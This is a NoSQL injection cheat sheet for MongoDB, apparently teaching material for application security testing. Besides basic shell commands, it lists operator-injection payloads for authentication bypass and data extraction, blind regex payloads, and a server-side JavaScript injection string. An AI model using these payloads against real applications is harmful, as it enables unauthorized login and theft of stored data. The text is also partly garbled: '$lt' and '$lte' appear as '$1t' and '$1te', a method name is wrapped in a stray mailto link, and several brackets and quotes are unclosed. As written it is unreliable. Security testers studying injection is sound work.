

# INTRODUCTION TO NOSQL INJECTION CHEAT SHEET

# **MongoDB Usage**

- Connect to MongoDB: mongodb://127.0.0.1:27017
- List databases: show databases
- List collections: show collections
- Insert data: db.collection.insertOne({...})
- Insert lots of data: db.apples.insertMany([{...},{...}),...])
- Selecting data: db.collection.find({...})
- Selecting one piece of data: <a href="mailto:db.collection.find0ne">db.collection.find0ne</a>({...})
- Update (one) document: db.collection.updateOne({...}, {...})
- Update multiple documents: db.collection.updateMany({...}, {...})
- Delete document(s): db.apples.remove({...})

### **Query Operators**

Туре	Operator	Description	Example
Comparison	\$eq	Matches values which are equal to a specified value	type: {\$eq: "Pink Lady"}
Comparison	\$gt	Matches values which are greater than a specified value	price: {\$gt: 0.30}
Comparison	\$gte	Matches values which are greater than or equal to a specified value	price: {\$gte: 0.50}
Comparison	\$in	Matches values which exist in the specified array	type: {\$in: ["Granny Smith", "Pink Lady"]}



# **Authentication Bypass / Data Exfiltration Payloads:**

```
param[$gt]=
param[$gte]=
param[$1t]=~
param[$lte]=~
param[$regex]=.*
```

```
{param: {$ne: 'x'}}
{param: {$gt: ''}}
{param: {$gte: ''}}
{param: {$1t: '~'}}
{param: {$1te: '~'}}
{param: {$regex: '.*'}}
{param: {$nin: []}}
```

# **Blind NoSQLi Payloads:**

### **URL-Encoded**

```
• param[$regex]=^XYZ.*$
```

### **JSON**

```
• {param: {$regex: '^XYZ.*$}}
```

## **Server-Side JavaScript Injection Payloads:**

```
' || true || ''=='" || true || ""=="
```

This cheat sheet contains a (non-comprehensive) list of payloads you may use when testing an application for NoSQL injection vulnerabilities. The most important qualities for finding vulnerabilities are creativity and the ability to adapt, so it is possible that these payloads will not work in your specific scenario, but something else does.

Some other resources you may want to refer to may be:

- PayloadAllTheThings NoSQL Injection
- HackTricks NoSQL Injection
- NullSweep NoSQL Injection Cheatsheet